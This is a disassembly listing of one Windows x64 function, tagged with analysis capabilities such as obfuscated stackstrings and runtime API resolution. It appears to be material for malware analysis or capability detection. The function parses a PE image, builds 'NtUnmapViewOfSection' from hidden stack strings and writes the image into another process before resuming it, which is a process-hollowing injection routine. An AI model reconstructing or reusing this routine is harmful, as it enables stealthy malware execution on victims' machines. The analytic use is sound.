Function at 0x14003dd9c
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov r14, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov bl, r12b
mov byte [rsp + 0x60], bl
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
or dword [rsp + 0x64], 0xffffffff
lea rcx, [rsp + 0x64]
call fcn.1400061f4
mov dil, r12b
mov r15b, byte [rbp + 0xd8]
test r15b, r15b
je 0x14003debe
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
mov r9b, byte [rbp + 0xd0]
lea r8, [rbp + 0x20]
lea rdx, [rsp + 0x78]
mov ecx, eax
call fcn.14000c30c
test al, al
je 0x14003de7a
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14003de7a
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
call fcn.140048214
test eax, eax
je 0x14003de7a
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
call fcn.140044914
movzx edi, r12b
test eax, eax
lea eax, [r12 + 1]
cmovne edi, eax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14003deb5
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003deb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e45e
call fcn.140016c84
test dil, dil
je 0x14003e42f
lea rdx, [0x140064df0]
lea rcx, [rbp + 0x20]
call fcn.1400012bc
cmp qword [rax + 0x18], 0x10
jb 0x14003ded8
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14003df1f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003df1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e464
call fcn.140016c84
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
test rdi, rdi
je 0x14003e42f
lea rdx, [0x140063fe0]
lea rcx, [rbp]
call fcn.1400012bc
cmp qword [rax + 0x18], 0x10
jb 0x14003df53
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735f0], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14003dfa1
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003df9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e46a
call fcn.140016c84
lea rdx, [0x140064010]
lea rcx, [rbp]
call fcn.1400012bc
cmp qword [rax + 0x18], 0x10
jb 0x14003dfbb
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e8], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14003e009
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e004
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e470
call fcn.140016c84
lea rdx, [0x140064040]
lea rcx, [rbp]
call fcn.1400012bc
cmp qword [rax + 0x18], 0x10
jb 0x14003e023
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e0], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14003e071
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e06c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e476
call fcn.140016c84
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x14003e2fa
movsxd rax, dword [r13 + 0x3c]
lea rbx, [rax + r13]
cmp dword [rbx], 0x4550
jne 0x14003e2f6
lea rdx, [rsp + 0x64]
mov rcx, rsi
call fcn.1400100ac
mov ecx, 0x14c
mov eax, dword [rsp + 0x64]
cmp word [rbx + 4], cx
jne 0x14003e0b9
test eax, eax
jne 0x14003e42f
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14003e0cd
cmp eax, 6
jne 0x14003e42f
lea rdi, [rbp + 0x20]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x70]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x70], edx
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r12w
lea rax, [rbp + 0x20]
test r15b, r15b
je 0x14003e125
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov r8, r14
mov rdx, rsi
mov rcx, qword [rsp + 0x70]
call fcn.14003cb6c
jmp 0x14003e13e
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov rdx, r14
mov rcx, rsi
call fcn.140008350
test eax, eax
je 0x14003e2f6
mov edx, 0xc
call fcn.140044a10
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.140048328
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x14003e2f1
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x80]
call qword [0x1400735f0]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp - 0x80]
xor r15d, r15d
cmp rax, rdx
jne 0x14003e218
mov dword [rbp + 0x43], 0x642e6c6c
mov word [rbp + 0x48], 0x6c
mov byte [rbp + 0x47], 0x6c
mov word [rbp + 0x40], 0x746e
mov byte [rbp + 0x42], 0x64
mov dword [rbp + 1], 0x6d6e5574
mov word [rbp + 0x10], 0x6974
mov word [rbp + 0x13], 0x6e
mov dword [rbp + 0xa], 0x53664f77
mov dword [rbp + 6], 0x65695670
mov word [rbp + 0xe], 0x6365
mov byte [rbp], 0x4e
mov byte [rbp + 0x12], 0x6f
mov byte [rbp + 5], 0x61
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x20]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0xc8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp + 0x20]
call fcn.140044b00
mov r14, rax
mov rcx, qword [rbp + 0x20]
test rax, rax
je 0x14003e2e7
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rdx, rax
call fcn.140008478
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x14003e29a
add rsi, rbx
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r13
mov edx, dword [rsi - 8]
add rdx, r14
mov rcx, qword [rbp + 0x20]
call fcn.140008478
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x14003e26d
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp + 0x20]
call fcn.140008478
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp + 0x28]
call qword [0x1400735e8]
mov rcx, qword [rbp + 0x28]
call qword [0x1400735e0]
mov eax, 1
mov bl, al
xor r12d, r12d
jmp 0x14003e2fa
call fcn.140010868
xor r12d, r12d
jmp 0x14003e2f6
call fcn.140010868
mov bl, byte [rsp + 0x60]
cmp qword [rsp + 0x68], r12
je 0x14003e408
lea rdx, [0x140064060]
lea rcx, [rbp + 0x20]
call fcn.1400012bc
nop
cmp qword [rax + 0x18], 0x10
jb 0x14003e320
mov rax, qword [rax]
mov rcx, rax
call fcn.14003cccc
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14003e366
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e361
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e47c
call fcn.140016c84
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
test rdi, rdi
je 0x14003e408
lea rdx, [0x140064080]
lea rcx, [rbp]
call fcn.1400012bc
cmp qword [rax + 0x18], 0x10
jb 0x14003e39a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140073618], rax
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14003e3eb
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e3df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e458
call fcn.140016c84
mov rax, qword [0x140073618]
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r12b
test rax, rax
je 0x14003e408
mov rcx, qword [rsp + 0x68]
call rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14003e41c
call fcn.140007180
mov qword [rsp + 0x70], r12
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14003e42b
call fcn.140007180
mov al, bl
jmp 0x14003e431
xor al, al
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140016c60
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14001b154
int3
call fcn.14001b154
int3
call fcn.14001b154
int3
call fcn.14001b154
int3
call fcn.14001b154
int3
call fcn.14001b154
int3
call fcn.14001b154
int3